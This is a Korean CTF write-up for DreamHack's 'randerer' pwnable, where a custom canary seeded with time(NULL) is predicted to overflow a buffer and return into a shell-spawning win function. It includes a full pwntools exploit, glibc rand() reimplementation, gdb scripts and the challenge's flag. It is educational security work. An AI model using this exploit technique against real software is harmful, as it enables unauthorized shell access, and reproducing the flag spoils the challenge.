문제: DreamHack — randerer 분류: pwnable 난이도: 🥉 Bronze 1 FLAG:
DH{995277f7:GOuz9U6faasv6OVEW6uo4A==}
문제 설명은 두 단어다. rand() canary!
보통 스택 카나리는 커널이 AT_RANDOM 으로 넣어 준 16바이트에서 떼어 오고, 컴파일러가
함수 머리와 끝에 검사 코드를 박는다. 이 문제는 그걸 전부 손으로 다시 만들었다.
난수원은 rand() 고, 씨드는 time(NULL) 이다. 그리고 프로그램은 접속하자마자
그 time(NULL) 값을 화면에 찍어 준다.
문제 개요
| 항목 | 내용 |
|---|---|
| 문제명 | randerer |
| 난이도 | 🥉 Bronze 1 |
| 분류 | pwnable |
| 제공 파일 | prob (ELF64 동적링크), Dockerfile(ubuntu 22.04 고정 다이제스트), 더미 flag |
| 서버 | socat TCP-LISTEN:8080,reuseaddr,fork EXEC:./prob,stderr |
| 보호 기법 | NX · Partial RELRO · No PIE · 컴파일러 스택 카나리 없음 |
| 핵심 취약점 | 씨드가 노출된 PRNG 로 만든 자작 카나리 + read 길이 초과 |
풀이 흐름은 네 줄로 끝난다.
.init_array에 등록된init_canary가srand(time(NULL))뒤rand()를 8번 돌려 전역 카나리를 만든다.main은 그 카나리를 스택에 복사해 두고, 같은time(NULL)을printf로 알려준다.read(0, rbp-0x20, 0x100)— 0x20바이트 프레임에 256바이트를 받는다.- 찍힌 시각으로 카나리를 복원해 그대로 덮고, 40바이트 뒤 리턴 주소를
win으로 바꾼다.
🧩 배경 — 스택 카나리가 원래 막는 것
스택 버퍼 오버플로의 고전적인 그림은 이렇다. 지역 버퍼를 넘치게 채우면 그 위에 있는
saved rbp 와 리턴 주소가 같이 덮이고, 함수가 ret 할 때 공격자가 고른 주소로 뛴다.

출처: Wikimedia Commons, public domain
카나리는 버퍼와 리턴 주소 사이에 난수 한 덩어리를 끼워 넣는 방어다. 리턴 주소를 덮으려면 반드시 그 난수를 지나야 하는데, 값을 모르면 같은 값으로 복원할 수 없어 검사에서 걸린다.
그래서 카나리 방어의 전제는 딱 하나다. 그 값을 추측할 수 없어야 한다. 이 문제는 그 전제를 스스로 무너뜨린다. 난수가 아니라 시계를 쓰기 때문이다.
🔬 정찰 — 바이너리가 들고 있는 것
먼저 보호 기법과 심볼부터 본다.
file prob; pwn checksec prob; nm prob | grep -iE "canary|win|main|rand|time"
No PIE (0x400000) 라 모든 주소가 고정이다. Stack: No canary found — 컴파일러가 넣는
카나리는 없다. 대신 .bss 에 canary 라는 전역 변수가 0x4040b0 에 있고, init_canary
라는 함수가 따로 있다. win 심볼도 그대로다.
init_canary 는 main 어디에서도 호출되지 않는다. 그럼 누가 부르나. 생성자 목록을 본다.
objdump -s -j .init_array prob; objdump -s -j .rodata prob
.init_array 에 0x401230(frame_dummy)과 0x401236 두 개가 있다. 뒤의 것이 init_canary
주소다. 즉 main 이 시작되기 전에 동적 로더가 이 함수를 먼저 돌린다.
.rodata 도 미리 봐 두면 편하다. /bin/sh 가 0x402008 에 있고, time: %ld 포맷 문자열이
0x402010 에, 실패 메시지 *** stack smashing detected *** 가 0x402030 에 있다.
💣 init_canary — 카나리를 rand() 로 짜 맞춘다
생성자를 잘라서 읽는다. 핵심 줄에는 sed 로 설명을 붙였다(주석은 내가 붙인 것이고,
objdump 가 원래 저렇게 찍어 주지는 않는다).
s|(call.*<time@plt>)|\1 <-- t = time(NULL)|
s|(call.*<srand@plt>)|\1 <-- srand(t) : 씨드는 '지금 시각' 하나뿐|
s|(shl +rax,0x8)|\1 <-- canary <<= 8|
s|(call.*<rand@plt>)|\1 <-- rand()|
s|(movzx +eax,al)|\1 <-- 하위 1바이트만 취한다|
s|(or +rax,rbx)|\1 <-- canary \|= byte|
s|(cmp +DWORD PTR \[rbp-0x14\],0x7)|\1 <-- 0..7 → 8바이트를 채운다|objdump -d --no-show-raw-insn -M intel --start-address=0x401236 --stop-address=0x401291 prob | sed -E -f annot_init.sed
C 로 옮기면 이게 전부다.
unsigned long canary; /* .bss, 0x4040b0 */
void init_canary(void) { /* __attribute__((constructor)) */
srand(time(NULL));
for (int i = 0; i <= 7; i++)
canary = (canary << 8) | (rand() & 0xff);
}rand() 는 31비트 값을 돌려주는데 movzx eax, al 로 하위 1바이트만 쓴다. 그걸 여덟 번
이어 붙여 64비트를 채운다. 첫 번째 rand() 의 바이트가 최상위, 마지막이 최하위다.

문제는 씨드다. time(NULL) 은 초 단위라 후보가 사실상 한 개고, 그나마도 곧 보듯이
프로그램이 직접 알려준다.
🎯 main — 씨드를 알려주고 256바이트를 받는다
이제 main 을 본다. 앞쪽 setvbuf 세 번은 건너뛰고 0x401311 부터 자른다.
s|(call.*<time@plt>)|\1 <-- main 도 time(NULL) 을 다시 부른다|
s|(mov +rax,QWORD PTR \[rip\+0x2d98\].*)|\1 <-- 전역 canary 를 읽어|
s|(mov +QWORD PTR \[rbp-0x10\],rax)|\1 <-- 스택 복사본 \[rbp-0x10\] 에 둔다|
s|(lea +rax,\[rip\+0xce0\].*)|\1 <-- "time: %ld" — 씨드를 그대로 출력|
s|(lea +rax,\[rbp-0x20\])|\1 <-- 입력 버퍼는 rbp-0x20|
s|(mov +edx,0x100)|\1 <-- 길이 0x100 = 256바이트|
s|(call.*<read@plt>)|\1 <-- 0x20 프레임에 256바이트 → 전면 오버플로우|
s|(cmp +rdx,rax)|\1 <-- 복사본 vs 전역 canary|objdump -d --no-show-raw-insn -M intel --start-address=0x401311 --stop-address=0x401397 prob | sed -E -f annot_main.sed
세 가지가 한꺼번에 보인다.
첫째, 카나리 복사본은 [rbp-0x10] 에 있다. 버퍼 시작이 [rbp-0x20] 이니 버퍼 16바이트
바로 뒤다.
둘째, printf("time: %ld\n", time(NULL)) — 생성자가 쓴 것과 같은 초를 그대로 출력한다.
생성자와 이 printf 사이는 setvbuf 세 번뿐이라 마이크로초 단위로 끝난다. 초가 바뀔 일이
거의 없다.
셋째, read(0, rbp-0x20, 0x100). 프레임은 sub rsp,0x20 으로 32바이트인데 256바이트를
받는다. 224바이트가 프레임 밖으로 넘어간다.
검사는 cmp rdx, rax 한 번이다. 같으면 main 이 정상적으로 ret 하고, 다르면 puts 후
exit(1). 우리가 덮어야 할 리턴 주소는 카나리보다 위에 있으니 검사를 우회할 방법은 없다.
같은 값으로 복원해 덮는 수밖에 없다.

그러니까 페이로드는 48바이트다. 16바이트 패딩, 복원한 카나리 8바이트, 아무 값 16바이트, 그리고 리턴 주소.
🧮 glibc rand() 를 그대로 재현하기
ctypes 로 호스트 libc 의 srand/rand 를 부르면 한 줄로 끝난다. 하지만 문제 서버는
ubuntu 22.04(glibc 2.35)고 내 PC 는 glibc 2.42 다. 두 수열이 같다는 보장을 먼저 세워야 한다.
그래서 순수 파이썬으로 알고리즘을 직접 옮기고, 같은 씨드에서 호스트 libc 와 값이 일치하는지
대조했다. glibc 의 기본 rand 는 TYPE_3 additive feedback generator 다 — 상태 31워드,
간격 3이고 초기화 때 310회를 버린다.
#!/usr/bin/env python3
"""glibc rand() 재현 (TYPE_3 additive feedback, degree 31 / sep 3).
randerer 의 init_canary 는 srand(time(0)) 뒤 rand() 를 8번 불러
canary = (canary << 8) | (rand() & 0xff) 로 8바이트를 조립한다.
seed 가 화면에 찍히므로 같은 수열을 재현하면 canary 를 그대로 복원할 수 있다.
"""
import ctypes
def rand_pure(seed: int, n: int) -> list[int]:
"""순수 파이썬 재현. glibc srandom_r + random_r(TYPE_3) 를 그대로 옮긴 것."""
s = [0] * (344 + n)
s[0] = seed & 0xFFFFFFFF or 1
# srandom_r: state[i] = 16807 * state[i-1] % 2147483647 (Schrage 곱셈)
for i in range(1, 31):
hi, lo = divmod(s[i - 1], 127773)
word = 16807 * lo - 2836 * hi
if word < 0:
word += 2147483647
s[i] = word
# fptr=state+3, rptr=state+0 인 환형 버퍼를 선형 수열로 펼친 결과
for i in range(31, 34):
s[i] = s[i - 31]
for i in range(34, 344 + n):
s[i] = (s[i - 31] + s[i - 3]) & 0xFFFFFFFF
# srandom_r 이 초기화 때 310회를 버린다 → 실제 첫 rand() 는 s[344]
return [s[344 + k] >> 1 for k in range(n)]
def rand_libc(seed: int, n: int) -> list[int]:
"""같은 값을 호스트 glibc 로 직접 뽑아 대조용으로 쓴다."""
libc = ctypes.CDLL("libc.so.6")
libc.srand(ctypes.c_uint(seed))
return [libc.rand() for _ in range(n)]
def canary_of(seed: int) -> int:
"""init_canary 와 동일한 조립: 첫 rand 의 하위 1바이트가 최상위 바이트."""
c = 0
for v in rand_pure(seed, 8):
c = ((c << 8) | (v & 0xFF)) & 0xFFFFFFFFFFFFFFFF
return c
if __name__ == "__main__":
import sys
seeds = [int(a) for a in sys.argv[1:]] or [0, 1, 1792861683, 1700000000]
for sd in seeds:
p, l = rand_pure(sd, 8), rand_libc(sd, 8)
print(f"seed={sd:<12} pure={[hex(x & 0xff) for x in p]}")
print(f"{'':<17} libc={[hex(x & 0xff) for x in l]} "
f"match={p == l} canary=0x{canary_of(sd):016x}")python3 glibc_rand.py 1700000000 1792862071
match=True 가 두 줄 다 뜬다. 뒤의 씨드 1792862071 은 나중에 라이브 서버가 찍어 준 값이고,
그때 복원한 카나리 0xf31193ee0019c514 가 여기 계산값과 같다.
🔎 런타임 검증 — 예측이 진짜 맞나
정적 분석만으로 "카나리는 이 값이다"라고 단정하긴 이르다. time() 을 한 값에 묶어 두고
gdb 로 메모리를 직접 읽어 확인했다.
/* time() 을 고정값으로 묶어 canary 를 결정론적으로 만든다.
gcc -shared -fPIC -o fixtime.so fixtime.c
LD_PRELOAD=./fixtime.so ./prob -> seed 는 항상 1700000000 */
#include <time.h>
#define FIXED 1700000000
time_t time(time_t *t) { if (t) *t = FIXED; return FIXED; }페이로드 파일은 예측한 카나리로 미리 만들어 둔다.
from glibc_rand import canary_of
from pwn import p64
c = canary_of(1700000000)
print('canary', hex(c))
open('payload.bin','wb').write(b'A'*16+p64(c)+b'B'*16+p64(0x401299)+b'\nid; cat /etc/hostname; echo SHELL_OK\n')gdb 스크립트는 세 지점을 잡는다. 전역 카나리를 읽는 순간, read 가 끝난 직후, 그리고
win 안에서 system 을 부르기 직전.
set confirm off
set pagination off
# main: 전역 canary 를 지역 복사본으로 옮기는 지점
break *0x401311
# read() 직후 — 덮어쓴 스택을 눈으로 확인
break *0x401367
# win 안에서 system() 을 호출하는 지점
break *0x4012a3
run < payload.bin
printf "[1] global canary @0x4040b0 = 0x%016lx\n", *(unsigned long*)0x4040b0
continue
printf "[2] rbp=%p buf=%p ret slot=%p\n", $rbp, $rbp-0x20, $rbp+8
printf "[2] ret offset from buf = %ld bytes\n", ($rbp+8)-($rbp-0x20)
printf "[2] canary copy @%p = 0x%016lx\n", $rbp-0x10, *(unsigned long*)($rbp-0x10)
printf "[2] overwritten ret = 0x%016lx\n", *(unsigned long*)($rbp+8)
x/6gx $rbp-0x20
continue
printf "[3] call system 직전: rsp=%p rsp%%16=%lu (ABI 요구치 0)\n", $rsp, ((unsigned long)$rsp)%16
printf "[3] rdi = %s\n", (char*)$rdi
x/1i $rip
killLD_PRELOAD=./fixtime.so gdb -q -batch -x runtime.gdb ./probgdb 에서는 입력이 소켓이 아니라 파일이라 read 가 파일 내용을 한 번에 다 삼킨다. 뒤에 붙인
셸 명령까지 같이 먹히니 /bin/sh 는 할 일 없이 끝난다. 그래서 call system 직전까지만 보고
kill 로 끊었다. 실제 셸은 아래 로컬·라이브 실행에서 확인한다.

세 가지가 한 화면에서 확인된다.
- 전역 카나리가
0x270a8e14fc3f030c— 앞의glibc_rand.py가 씨드 1700000000 에 대해 내놓은 값과 같다. ret offset from buf = 40 bytes— 다이어그램에서 계산한 오프셋이 실제로 맞다.x/6gx덤프에A16바이트, 카나리,B16바이트, 그리고0x401299가 차례대로 보인다.
🐛 삽질 — 네 번 틀리고 알게 된 것
▶🐛 삽질 1 — win 함수 머리로 리턴하면 셸이 안 뜬다
처음엔 당연히 win 의 시작 주소 0x401291 을 리턴 주소로 넣었다. 로컬 컨테이너에서
돌렸더니 아무 응답도 없이 연결이 끊겼다. 카나리는 맞았는데(stack smashing 메시지가
안 나온다) system 이 안 도는 상황이다.
win 을 디스어셈블하고 같은 페이로드를 gdb 로 따라가 봤다.
from glibc_rand import canary_of
from pwn import p64
open('payload_misaligned.bin','wb').write(b'A'*16+p64(canary_of(1700000000))+b'B'*16+p64(0x401291)+b'\necho SHELL_OK\n')s|(push +rbp)|\1 <-- 이 한 줄이 rsp 를 8 어긋나게 만든다|
s|(lea +rax,\[rip\+0xd68\].*)|\1 <-- "/bin/sh"|
s|(call.*<system@plt>)|\1 <-- 여기서 rsp%16 == 0 이어야 한다|set confirm off
set pagination off
# win 머리(0x401291)로 리턴하면 push rbp 가 rsp 를 8 어긋나게 만든다
break *0x4012a3
run < payload_misaligned.bin
printf "[win+0x12] call system 직전: rsp=%p rsp%%16=%lu (ABI 요구치 0)\n", $rsp, ((unsigned long)$rsp)%16
continue
info registers rip
x/1i $ripobjdump -d --no-show-raw-insn -M intel --start-address=0x401291 --stop-address=0x4012ab prob | sed -E -f annot_win.sed; LD_PRELOAD=./fixtime.so gdb -q -batch -x misalign.gdb ./prob
원인은 스택 정렬이었다. main 의 leave; ret 를 지나 win 에 들어온 시점에 rsp 는
16바이트 경계에 맞아 있다. 보통은 call 이 8바이트를 밀어 넣은 뒤라 8이 남아 있어야 하는데,
우리는 call 이 아니라 ret 으로 들어왔으니 한 칸 어긋난 상태다.
거기서 push rbp 를 한 번 더 하면 call system 직전 rsp%16 이 8 이 된다. x86-64 System V
ABI 는 call 직전에 rsp 가 16의 배수여야 한다고 못박는다. 이 규약이 깨지면 SSE 명령이
터진다 — gdb 가 정확히 그 지점을 보여 준다. do_system+101 의 movaps %xmm1,(%rsp).
해결은 간단하다. push rbp 를 건너뛴 0x401299 로 들어가면 된다. rbp 를 안 세워도
system("/bin/sh") 만 돌면 그만이다.
▶🐛 삽질 2 — 씨드가 1초만 어긋나도 끝이다
time(NULL) 이 초 단위라, 생성자가 돌던 초와 printf 가 찍는 초가 다를 가능성을 생각했다.
혹시 몰라 --skew 옵션을 만들어 두고 실제로 1초 어긋나면 어떻게 되는지 재 봤다.
결론은 "완전히 망가진다"다. rand 수열은 씨드 1 차이에도 전혀 다른 값을 내놓으니
카나리 8바이트가 통째로 틀리고, 그대로 *** stack smashing detected *** 다.
다행히 실전에선 한 번도 어긋나지 않았다. 생성자와 printf 사이에 setvbuf 세 번밖에 없어
그 사이에 초가 넘어갈 확률이 아주 낮다. 그래도 solve.py 는 기본 3회 재시도를 돌게 두었다.
연결을 새로 열면 서버가 프로세스를 다시 띄우므로 카나리도 새로 뽑힌다.
▶🐛 삽질 3 — 막다른 길 네 가지를 한 번에 재 보기
말로만 "이러면 안 된다"고 적는 대신, 네 경우를 실제로 던져 보는 스크립트를 만들었다.
#!/usr/bin/env python3
"""막다른 길을 하나씩 실측한다. 로컬 컨테이너(127.0.0.1:15531) 대상.
1) canary 를 아무 값으로 덮기 -> *** stack smashing detected ***
2) seed 를 time+1 로 어긋나게 잡기 -> 같은 결과(예측 실패)
3) win 을 0x401291(push rbp 포함)로 -> system 호출 시점 rsp%16==0 이라 정렬 깨짐
4) win 을 0x401299(push rbp 생략)로 -> 정상
"""
import sys
import time
from pwn import context, p64, remote
from glibc_rand import canary_of
HOST, PORT = "127.0.0.1", 15531
def shot(label: str, canary_fn, win: int) -> None:
io = remote(HOST, PORT)
t = int(io.recvline_startswith(b"time: ").strip().split(b":")[1])
io.recvuntil(b"input your data: ")
io.send(b"A" * 16 + p64(canary_fn(t)) + b"B" * 16 + p64(win))
time.sleep(0.3)
io.sendline(b"echo SHELL_OK; cat flag")
out = io.recvrepeat(2)
io.close()
verdict = "OK " if b"SHELL_OK" in out else "FAIL"
print(f"[{verdict}] {label}\n win=0x{win:x} 응답={out[:120]!r}\n")
if __name__ == "__main__":
context.arch = "amd64"
context.log_level = "error"
shot("1) canary 를 0x4141414141414141 로 덮기", lambda t: 0x4141414141414141, 0x401299)
shot("2) seed 를 time+1 로 1초 어긋나게", lambda t: canary_of(t + 1), 0x401299)
shot("3) win=0x401291 (push rbp 포함 — 정렬 어긋남)", canary_of, 0x401291)
shot("4) win=0x401299 (push rbp 생략 — 정렬 맞음)", canary_of, 0x401299)
sys.exit(0)python3 deadends.py
1번과 2번은 같은 메시지로 죽는다. 카나리 검사는 틀린 이유를 구별해 주지 않는다.
3번은 응답 자체가 없다 — 메시지도 없이 죽으니 "왜 안 되지" 하고 한참 헤매기 좋은 실패다.
4번만 SHELL_OK 가 돌아온다.
🚀 Full Exploit
최종 스크립트다. rand 재현부를 안에 넣어 파일 하나로 돌아가게 했다.
#!/usr/bin/env python3
"""randerer (Dreamhack, Bronze 1 / pwnable) — rand() 로 만든 자작 canary 를 예측해 ret2win.
init_canary 가 .init_array 에서 srand(time(0)) 로 씨드를 잡고
canary = (canary << 8) | (rand() & 0xff)
를 8번 돌려 전역 canary(0x4040b0) 를 만든다. main 은 그 값을 [rbp-0x10] 에 복사해 두고
"time: %ld" 로 time(0) 를 그대로 알려준 뒤 read(0, [rbp-0x20], 0x100) 으로
0x20 바이트 프레임에 256 바이트를 받는다.
→ 화면에 찍힌 time 으로 canary 를 복원해 같은 값으로 덮고, 리턴 주소를 win 으로 돌린다.
스택 배치 (rbp 기준, gdb 로 실측):
[rbp-0x20] 입력 버퍼 시작 offset 0
[rbp-0x10] canary 복사본 offset 16
[rbp-0x08] 미사용 offset 24
[rbp+0x00] saved rbp offset 32
[rbp+0x08] return address offset 40
사용법:
python3 solve.py host3.dreamhack.games:PORT # 라이브
python3 solve.py 127.0.0.1:15531 # 로컬 docker
python3 solve.py # ./prob 직접 실행
"""
import argparse
import sys
import time as _time
from pwn import context, log, p64, process, remote
# ── win 진입점 ──────────────────────────────────────────────────────────────
# 0x401291 (함수 머리) 로 들어가면 push rbp 때문에 call system 직전 rsp%16 이 8 이 되고
# do_system+101 의 `movaps %xmm1,(%rsp)` 에서 SIGSEGV 가 난다.
# push rbp 를 건너뛴 0x401299 로 들어가야 rsp%16 == 0 이라 셸이 뜬다.
WIN = 0x401299
RET_OFFSET = 40
CANARY_OFFSET = 16
def glibc_rand(seed: int, n: int) -> list[int]:
"""glibc rand() 수열 재현 (TYPE_3 additive feedback, degree 31 / sep 3)."""
s = [0] * (344 + n)
s[0] = (seed & 0xFFFFFFFF) or 1
# srandom_r 초기화: state[i] = 16807 * state[i-1] % 2147483647 (Schrage 곱셈)
for i in range(1, 31):
hi, lo = divmod(s[i - 1], 127773)
word = 16807 * lo - 2836 * hi
s[i] = word + 2147483647 if word < 0 else word
# fptr=state+3, rptr=state+0 인 환형 버퍼를 선형 수열로 펼친 모양
for i in range(31, 34):
s[i] = s[i - 31]
for i in range(34, 344 + n):
s[i] = (s[i - 31] + s[i - 3]) & 0xFFFFFFFF
# 초기화 때 310 회를 버리므로 실제 첫 rand() 는 s[344]
return [s[344 + k] >> 1 for k in range(n)]
def canary_of(seed: int) -> int:
"""init_canary 와 동일한 조립 — 첫 rand 의 하위 1바이트가 최상위 바이트가 된다."""
c = 0
for v in glibc_rand(seed, 8):
c = ((c << 8) | (v & 0xFF)) & 0xFFFFFFFFFFFFFFFF
return c
def build(canary: int) -> bytes:
pad = b"A" * CANARY_OFFSET
tail = b"B" * (RET_OFFSET - CANARY_OFFSET - 8) # [rbp-0x8] + saved rbp
return pad + p64(canary) + tail + p64(WIN)
def attack(io, skew: int) -> bool:
seed = int(io.recvline_startswith(b"time: ").strip().split(b":")[1]) + skew
canary = canary_of(seed)
log.info("seed=%d (skew %+d) -> canary=0x%016x", seed, skew, canary)
io.recvuntil(b"input your data: ")
io.send(build(canary))
_time.sleep(0.3)
io.sendline(b"echo SHELL_OK; id; ls -la; cat flag")
out = io.recvrepeat(3)
print(out.decode(errors="replace"))
if b"SHELL_OK" not in out:
log.failure("셸 미획득 (canary 예측 실패 또는 정렬 문제)")
return False
for tok in out.split():
if tok.startswith(b"DH{") or tok.startswith(b"flag{"):
log.success("FLAG = %s", tok.decode())
return True
def main() -> int:
ap = argparse.ArgumentParser()
ap.add_argument("target", nargs="?", help="host:port (생략하면 ./prob 실행)")
ap.add_argument("--skew", type=int, default=0, help="찍힌 time 에 더할 보정값")
ap.add_argument("--tries", type=int, default=3)
a = ap.parse_args()
context.arch = "amd64"
context.log_level = "info"
for n in range(1, a.tries + 1):
host, port = a.target.rsplit(":", 1) if a.target else (None, None)
io = remote(host, int(port)) if a.target else process("./prob")
try:
if attack(io, a.skew):
return 0
finally:
io.close()
log.info("재시도 %d/%d", n, a.tries)
return 1
if __name__ == "__main__":
sys.exit(main())로컬에서 먼저
배포본에 Dockerfile 이 있고 베이스 이미지가 다이제스트로 고정돼 있어 서버와 같은
glibc 2.35 환경을 그대로 띄울 수 있다. 라이브 VM 을 켜기 전에 여기서 끝까지 맞춰 뒀다.
docker build -t randerer-local extracted/
docker run --rm -d --name randerer-test -p 15532:8080 randerer-local; sleep 2; python3 solve.py 127.0.0.1:15532 --tries 1; docker rm -f randerer-test
로컬 flag 파일은 배포본에 들어 있던 더미라 flag{flag} 가 나온다. 익스플로잇이 도는지
확인하는 용도다.
그리고 라이브
python3 solve.py host3.dreamhack.games:19154 --tries 1
서버가 찍어 준 time: 1792862071 로 카나리 0xf31193ee0019c514 를 복원했고, 그대로 한 번에
uid=1337(pwn) 셸이 떨어졌다. 앞의 glibc_rand.py 교차검증 화면에 같은 씨드가 들어 있는 건
그래서다.
DH{995277f7:GOuz9U6faasv6OVEW6uo4A==}📝 결론
난수의 품질은 알고리즘이 아니라 씨드가 정한다.
rand() 자체는 암호용이 아니지만, 이 문제를 깬 건 rand 의 약함이 아니었다. 씨드가
time(NULL) 이라 후보가 초 단위 한 개뿐이었고, 심지어 프로그램이 그 값을 출력해 줬다.
씨드만 알면 rand 수열은 완전히 결정적이다. 메르센 트위스터를 썼더라도 결과는 같았을 것이다.
카나리를 직접 만들면 커널이 해 주던 일까지 떠안는다.
컴파일러가 넣는 카나리는 AT_RANDOM 에서 값을 받고, 첫 바이트를 \x00 으로 둬서 문자열
함수로 새는 것까지 막는다. 손으로 만든 init_canary 는 그중 아무것도 하지 않는다.
-fstack-protector-strong 을 끄고 비슷한 걸 직접 짜고 싶다면, 적어도 getrandom(2) 이나
/dev/urandom 을 쓰고 값을 절대 출력 경로에 노출하지 말아야 한다.
버퍼 크기와 read 길이가 따로 노는 순간 끝이다.
프레임은 32바이트인데 read 는 256바이트를 받는다. 카나리는 이 상황에서 "덮는 것"을 막는
게 아니라 "덮은 뒤 들키게 하는" 장치일 뿐이다. 값이 예측되면 방어가 통째로 사라진다.
길이는 sizeof(buf) 로 묶는 게 먼저다.
실패가 조용할수록 오래 헤맨다.
정렬이 어긋난 win 호출은 아무 메시지도 안 남기고 죽었다. 카나리가 틀렸을 때는 그나마
stack smashing detected 라도 찍혀 원인이 보였는데, 이쪽은 단서가 없다. 익스플로잇이
"그냥 안 될" 때 gdb 로 rsp%16 을 한 번 찍어 보는 습관이 시간을 많이 아껴 준다.
Comments
댓글
댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)
댓글 불러오는 중…